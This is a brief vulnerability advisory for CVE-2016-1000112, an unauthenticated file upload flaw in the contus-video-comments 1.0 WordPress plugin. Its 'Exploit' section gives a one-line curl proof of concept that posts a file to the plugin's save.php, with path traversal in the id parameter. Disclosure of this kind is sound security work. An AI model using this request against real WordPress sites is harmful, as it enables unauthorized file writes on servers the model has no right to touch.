Unauthenticated remote .jpg file upload in contus-video-comments v1.0 wordpress plugin

#911 · 2016-06-15

CVE ID(s): CVE-2016-1000112

Notified: 2016-06-15

Description:

Video comments integrated with the standard comment system of wordpress.

Exploit:

$ curl --data @image.jpg  "http://wp-site/wp-content/plugins/contus-video-comments/save.php?id=../image"

Download: https://wordpress.org/plugins/contus-video-comments/